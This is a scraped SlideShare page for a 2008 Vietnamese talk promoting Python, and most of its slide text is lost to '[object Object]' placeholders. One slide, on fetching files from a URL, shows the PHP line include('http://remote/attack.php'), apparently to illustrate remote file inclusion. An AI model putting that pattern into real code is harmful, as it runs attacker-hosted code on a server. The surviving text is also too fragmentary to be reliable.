SlideShare a Scribd company logo
Python, ngôn ngữ lập trình cho phần đời còn lại Nguyễn Thành Nam http://www.vithon.org TPHCM, 2008-11-15
Nội dung ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Kinh nghiệm bản thân ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Giới thiệu Python ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Nguyên lý căn bản của Python ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Nguyên lý căn bản của Python ,[object Object],a = 1 b = a a = 2 Python  (tên) Ngôn ngữ khác  (biến)
Nguyên lý căn bản của Python ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Nguyên lý căn bản của Python ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Nguyên lý căn bản của Python ,[object Object],[object Object],[object Object],[object Object],[object Object]
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Tính dễ đọc
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Hoán vị 2 số
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Tính toán số lớn
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác In các phần tử trong mảng n > 1
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác In các phần tử trong mảng n > 1
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Đọc file
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Đọc từng dòng
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Lọc phần tử trong mảng
[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Lấy file từ URL include(“http://remote/attack.php”);
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Đảo chuỗi
[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Chuyển mã
[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Ứng dụng web
Giới thiệu Vithon ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Cảm ơn ,[object Object],[object Object],[object Object],[object Object]
Hỏi và cùng trả lời

More Related Content

What's hot

Tùy biến Confuser
Tùy biến ConfuserTùy biến Confuser
Tùy biến Confuser
Levis Nickaster
 
Reverse Engineering .NET - Advanced Patching, Playing with IL
Reverse Engineering .NET - Advanced Patching, Playing with ILReverse Engineering .NET - Advanced Patching, Playing with IL
Reverse Engineering .NET - Advanced Patching, Playing with IL
Levis Nickaster
 
Phân tích Confuser 1.9.0.0 - Constant Protection - Bản dịch
Phân tích Confuser 1.9.0.0 - Constant Protection - Bản dịchPhân tích Confuser 1.9.0.0 - Constant Protection - Bản dịch
Phân tích Confuser 1.9.0.0 - Constant Protection - Bản dịch
Levis Nickaster
 
Hacking de4dot for fun - Bài dịch
Hacking de4dot for fun - Bài dịchHacking de4dot for fun - Bài dịch
Hacking de4dot for fun - Bài dịch
Levis Nickaster
 
Python
PythonPython
Python
Le The Ham
 
Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)
Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)
Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)
Levis Nickaster
 
Phân tích ConfuserEX - Invalid Metadata (bài dịch)
Phân tích ConfuserEX - Invalid Metadata (bài dịch)Phân tích ConfuserEX - Invalid Metadata (bài dịch)
Phân tích ConfuserEX - Invalid Metadata (bài dịch)
Levis Nickaster
 

What's hot (7)

Tùy biến Confuser
Tùy biến ConfuserTùy biến Confuser
Tùy biến Confuser
 
Reverse Engineering .NET - Advanced Patching, Playing with IL
Reverse Engineering .NET - Advanced Patching, Playing with ILReverse Engineering .NET - Advanced Patching, Playing with IL
Reverse Engineering .NET - Advanced Patching, Playing with IL
 
Phân tích Confuser 1.9.0.0 - Constant Protection - Bản dịch
Phân tích Confuser 1.9.0.0 - Constant Protection - Bản dịchPhân tích Confuser 1.9.0.0 - Constant Protection - Bản dịch
Phân tích Confuser 1.9.0.0 - Constant Protection - Bản dịch
 
Hacking de4dot for fun - Bài dịch
Hacking de4dot for fun - Bài dịchHacking de4dot for fun - Bài dịch
Hacking de4dot for fun - Bài dịch
 
Python
PythonPython
Python
 
Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)
Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)
Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)
 
Phân tích ConfuserEX - Invalid Metadata (bài dịch)
Phân tích ConfuserEX - Invalid Metadata (bài dịch)Phân tích ConfuserEX - Invalid Metadata (bài dịch)
Phân tích ConfuserEX - Invalid Metadata (bài dịch)
 

Viewers also liked

How to learn English by yourself (IMA method)
How to learn English by yourself (IMA method)How to learn English by yourself (IMA method)
How to learn English by yourself (IMA method)
Chip Huyen
 
沙龙升级
沙龙升级沙龙升级
沙龙升级
David Xie
 
Créer un moteur de recherche avec des logiciels libres
Créer un moteur de recherche avec des logiciels libresCréer un moteur de recherche avec des logiciels libres
Créer un moteur de recherche avec des logiciels libres
Robert Viseur
 
Bộ đề thi và câu hỏi trắc nghiệm thuế
Bộ đề thi và câu hỏi trắc nghiệm thuếBộ đề thi và câu hỏi trắc nghiệm thuế
Bộ đề thi và câu hỏi trắc nghiệm thuếTien Vuong
 
Th cac cong thuc mon qt tai chinh
Th cac cong thuc mon qt tai chinhTh cac cong thuc mon qt tai chinh
Th cac cong thuc mon qt tai chinh
Duy Dũng Ngô
 
A jövő hackerei
A jövő hackereiA jövő hackerei
A jövő hackereipappet
 
Wooh dance workshop
Wooh dance workshopWooh dance workshop
Wooh dance workshopPeitung Wang
 
The Cloud as a Platform
The Cloud as a PlatformThe Cloud as a Platform
The Cloud as a Platform
jineshvaria
 
0760111 Cell Phones: The Good, The Bad, and the Solid Gold
0760111 Cell Phones: The Good, The Bad, and the Solid Gold0760111 Cell Phones: The Good, The Bad, and the Solid Gold
0760111 Cell Phones: The Good, The Bad, and the Solid Gold
Ali G
 
Pucha Kucha
Pucha KuchaPucha Kucha
Pucha Kucha
justinkloppers
 
United We Respond: One Community, One Voice
United We Respond: One Community, One VoiceUnited We Respond: One Community, One Voice
United We Respond: One Community, One Voice
Connie White
 
Media Villa Arnhem - Crowdfunding #mediavilla026
Media Villa Arnhem - Crowdfunding #mediavilla026Media Villa Arnhem - Crowdfunding #mediavilla026
Media Villa Arnhem - Crowdfunding #mediavilla026
Ronald Kleverlaan
 
United We Respond
United We RespondUnited We Respond
United We Respond
Connie White
 
Using NFC to Crowd Curate Music Preferences
Using NFC to Crowd Curate Music PreferencesUsing NFC to Crowd Curate Music Preferences
Using NFC to Crowd Curate Music Preferences
University of Central Lancashire
 
Designing a mobile service as a facilitator for capturing local trade data
Designing a mobile service as a facilitator for capturing local trade dataDesigning a mobile service as a facilitator for capturing local trade data
Designing a mobile service as a facilitator for capturing local trade data
University of Central Lancashire
 
Textile Storyboard Version 3 Guru
Textile Storyboard Version 3 GuruTextile Storyboard Version 3 Guru
Textile Storyboard Version 3 Guruguestc8832a4
 
Reiss WIAD Los Angeles 2013
Reiss WIAD Los Angeles 2013Reiss WIAD Los Angeles 2013
Reiss WIAD Los Angeles 2013
Eric Reiss
 
Presentacion evaluation third project meeting in spain
Presentacion evaluation third project meeting in spainPresentacion evaluation third project meeting in spain
Presentacion evaluation third project meeting in spain
Jose Luis Leon Gonzalez
 

Viewers also liked (20)

How to learn English by yourself (IMA method)
How to learn English by yourself (IMA method)How to learn English by yourself (IMA method)
How to learn English by yourself (IMA method)
 
沙龙升级
沙龙升级沙龙升级
沙龙升级
 
Créer un moteur de recherche avec des logiciels libres
Créer un moteur de recherche avec des logiciels libresCréer un moteur de recherche avec des logiciels libres
Créer un moteur de recherche avec des logiciels libres
 
Bộ đề thi và câu hỏi trắc nghiệm thuế
Bộ đề thi và câu hỏi trắc nghiệm thuếBộ đề thi và câu hỏi trắc nghiệm thuế
Bộ đề thi và câu hỏi trắc nghiệm thuế
 
Th cac cong thuc mon qt tai chinh
Th cac cong thuc mon qt tai chinhTh cac cong thuc mon qt tai chinh
Th cac cong thuc mon qt tai chinh
 
Spanish omelette
Spanish omeletteSpanish omelette
Spanish omelette
 
A jövő hackerei
A jövő hackereiA jövő hackerei
A jövő hackerei
 
Wooh dance workshop
Wooh dance workshopWooh dance workshop
Wooh dance workshop
 
The Cloud as a Platform
The Cloud as a PlatformThe Cloud as a Platform
The Cloud as a Platform
 
0760111 Cell Phones: The Good, The Bad, and the Solid Gold
0760111 Cell Phones: The Good, The Bad, and the Solid Gold0760111 Cell Phones: The Good, The Bad, and the Solid Gold
0760111 Cell Phones: The Good, The Bad, and the Solid Gold
 
Pucha Kucha
Pucha KuchaPucha Kucha
Pucha Kucha
 
United We Respond: One Community, One Voice
United We Respond: One Community, One VoiceUnited We Respond: One Community, One Voice
United We Respond: One Community, One Voice
 
Online Organizing
Online OrganizingOnline Organizing
Online Organizing
 
Media Villa Arnhem - Crowdfunding #mediavilla026
Media Villa Arnhem - Crowdfunding #mediavilla026Media Villa Arnhem - Crowdfunding #mediavilla026
Media Villa Arnhem - Crowdfunding #mediavilla026
 
United We Respond
United We RespondUnited We Respond
United We Respond
 
Using NFC to Crowd Curate Music Preferences
Using NFC to Crowd Curate Music PreferencesUsing NFC to Crowd Curate Music Preferences
Using NFC to Crowd Curate Music Preferences
 
Designing a mobile service as a facilitator for capturing local trade data
Designing a mobile service as a facilitator for capturing local trade dataDesigning a mobile service as a facilitator for capturing local trade data
Designing a mobile service as a facilitator for capturing local trade data
 
Textile Storyboard Version 3 Guru
Textile Storyboard Version 3 GuruTextile Storyboard Version 3 Guru
Textile Storyboard Version 3 Guru
 
Reiss WIAD Los Angeles 2013
Reiss WIAD Los Angeles 2013Reiss WIAD Los Angeles 2013
Reiss WIAD Los Angeles 2013
 
Presentacion evaluation third project meeting in spain
Presentacion evaluation third project meeting in spainPresentacion evaluation third project meeting in spain
Presentacion evaluation third project meeting in spain
 

Similar to Python for the rest of life

DoThanhNghi2016_Python.pdf
DoThanhNghi2016_Python.pdfDoThanhNghi2016_Python.pdf
DoThanhNghi2016_Python.pdf
TamDo58
 
Python moi
Python moiPython moi
Python moi
DÉp LÊ
 
python3.pptx
python3.pptxpython3.pptx
python3.pptx
Tai Nguyen An
 
ngon-ngu-lap-trinh-python_C1_cac_khai_niem_(PI).pptx
ngon-ngu-lap-trinh-python_C1_cac_khai_niem_(PI).pptxngon-ngu-lap-trinh-python_C1_cac_khai_niem_(PI).pptx
ngon-ngu-lap-trinh-python_C1_cac_khai_niem_(PI).pptx
ssuser49db3c1
 
Tai lieu huong_dan_ve_lap_trinh_php_7512
Tai lieu huong_dan_ve_lap_trinh_php_7512Tai lieu huong_dan_ve_lap_trinh_php_7512
Tai lieu huong_dan_ve_lap_trinh_php_7512
lekytho
 
[C] giao trinh c dhbk - viet nhat
[C] giao trinh c   dhbk - viet nhat[C] giao trinh c   dhbk - viet nhat
[C] giao trinh c dhbk - viet nhatHoang Nguyen
 
1. Java cơ bản.pdf
1. Java cơ bản.pdf1. Java cơ bản.pdf
1. Java cơ bản.pdf
luutrutailieu1707
 
Introduction to python 20110917
Introduction to python   20110917Introduction to python   20110917
Introduction to python 20110917AiTi Education
 
LINQ
LINQLINQ
Các quy định& chuẩn trong lập trình NukeViet
Các quy định& chuẩn trong lập trình NukeVietCác quy định& chuẩn trong lập trình NukeViet
Các quy định& chuẩn trong lập trình NukeViet
Vu Thao
 
6 - Lập trình C++ cơ bản_print.pdf
6 - Lập trình C++ cơ bản_print.pdf6 - Lập trình C++ cơ bản_print.pdf
6 - Lập trình C++ cơ bản_print.pdf
SonNguyen642431
 
Tu-Hoc-Python-Co-Ban-Trong-10-Phut-NIIT
Tu-Hoc-Python-Co-Ban-Trong-10-Phut-NIITTu-Hoc-Python-Co-Ban-Trong-10-Phut-NIIT
Tu-Hoc-Python-Co-Ban-Trong-10-Phut-NIIT
NIIT - ICT Hà Nội
 
Linq net
Linq net Linq net
Linq net
NguynSang29
 
Book
BookBook
Book
LyThanhLy
 
introdution to Python
introdution to Pythonintrodution to Python
introdution to Python
PTIT HCM
 

Similar to Python for the rest of life (20)

DoThanhNghi2016_Python.pdf
DoThanhNghi2016_Python.pdfDoThanhNghi2016_Python.pdf
DoThanhNghi2016_Python.pdf
 
Python moi
Python moiPython moi
Python moi
 
python3.pptx
python3.pptxpython3.pptx
python3.pptx
 
ngon-ngu-lap-trinh-python_C1_cac_khai_niem_(PI).pptx
ngon-ngu-lap-trinh-python_C1_cac_khai_niem_(PI).pptxngon-ngu-lap-trinh-python_C1_cac_khai_niem_(PI).pptx
ngon-ngu-lap-trinh-python_C1_cac_khai_niem_(PI).pptx
 
Tai lieu huong_dan_ve_lap_trinh_php_7512
Tai lieu huong_dan_ve_lap_trinh_php_7512Tai lieu huong_dan_ve_lap_trinh_php_7512
Tai lieu huong_dan_ve_lap_trinh_php_7512
 
[C] giao trinh c dhbk - viet nhat
[C] giao trinh c   dhbk - viet nhat[C] giao trinh c   dhbk - viet nhat
[C] giao trinh c dhbk - viet nhat
 
Php02 ngon nguphp
Php02 ngon nguphpPhp02 ngon nguphp
Php02 ngon nguphp
 
1. Java cơ bản.pdf
1. Java cơ bản.pdf1. Java cơ bản.pdf
1. Java cơ bản.pdf
 
Introduction to python 20110917
Introduction to python   20110917Introduction to python   20110917
Introduction to python 20110917
 
LINQ
LINQLINQ
LINQ
 
temp.pdf
temp.pdftemp.pdf
temp.pdf
 
Php Csdlweb06
Php Csdlweb06Php Csdlweb06
Php Csdlweb06
 
Các quy định& chuẩn trong lập trình NukeViet
Các quy định& chuẩn trong lập trình NukeVietCác quy định& chuẩn trong lập trình NukeViet
Các quy định& chuẩn trong lập trình NukeViet
 
6 - Lập trình C++ cơ bản_print.pdf
6 - Lập trình C++ cơ bản_print.pdf6 - Lập trình C++ cơ bản_print.pdf
6 - Lập trình C++ cơ bản_print.pdf
 
Tu-Hoc-Python-Co-Ban-Trong-10-Phut-NIIT
Tu-Hoc-Python-Co-Ban-Trong-10-Phut-NIITTu-Hoc-Python-Co-Ban-Trong-10-Phut-NIIT
Tu-Hoc-Python-Co-Ban-Trong-10-Phut-NIIT
 
Java Tieng Viet
Java Tieng VietJava Tieng Viet
Java Tieng Viet
 
Linq net
Linq net Linq net
Linq net
 
Book
BookBook
Book
 
Book
BookBook
Book
 
introdution to Python
introdution to Pythonintrodution to Python
introdution to Python
 

More from Chip Huyen

Twitter Review
Twitter ReviewTwitter Review
Twitter Review
Chip Huyen
 
Vietnam Online Advertising Industry: A quick overview
Vietnam Online Advertising Industry: A quick overviewVietnam Online Advertising Industry: A quick overview
Vietnam Online Advertising Industry: A quick overview
Chip Huyen
 
Interfaces, Surface Computing and Ubiquitous Computing
Interfaces, Surface Computing and Ubiquitous ComputingInterfaces, Surface Computing and Ubiquitous Computing
Interfaces, Surface Computing and Ubiquitous Computing
Chip Huyen
 
Startups in Vietnam
Startups in VietnamStartups in Vietnam
Startups in Vietnam
Chip Huyen
 
E Learner Platform 2 0
E Learner Platform 2 0E Learner Platform 2 0
E Learner Platform 2 0Chip Huyen
 
Vietnam Web Services Portal
Vietnam Web Services PortalVietnam Web Services Portal
Vietnam Web Services PortalChip Huyen
 

More from Chip Huyen (6)

Twitter Review
Twitter ReviewTwitter Review
Twitter Review
 
Vietnam Online Advertising Industry: A quick overview
Vietnam Online Advertising Industry: A quick overviewVietnam Online Advertising Industry: A quick overview
Vietnam Online Advertising Industry: A quick overview
 
Interfaces, Surface Computing and Ubiquitous Computing
Interfaces, Surface Computing and Ubiquitous ComputingInterfaces, Surface Computing and Ubiquitous Computing
Interfaces, Surface Computing and Ubiquitous Computing
 
Startups in Vietnam
Startups in VietnamStartups in Vietnam
Startups in Vietnam
 
E Learner Platform 2 0
E Learner Platform 2 0E Learner Platform 2 0
E Learner Platform 2 0
 
Vietnam Web Services Portal
Vietnam Web Services PortalVietnam Web Services Portal
Vietnam Web Services Portal
 

Python for the rest of life

  • 1. Python, ngôn ngữ lập trình cho phần đời còn lại Nguyễn Thành Nam http://www.vithon.org TPHCM, 2008-11-15
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24. Hỏi và cùng trả lời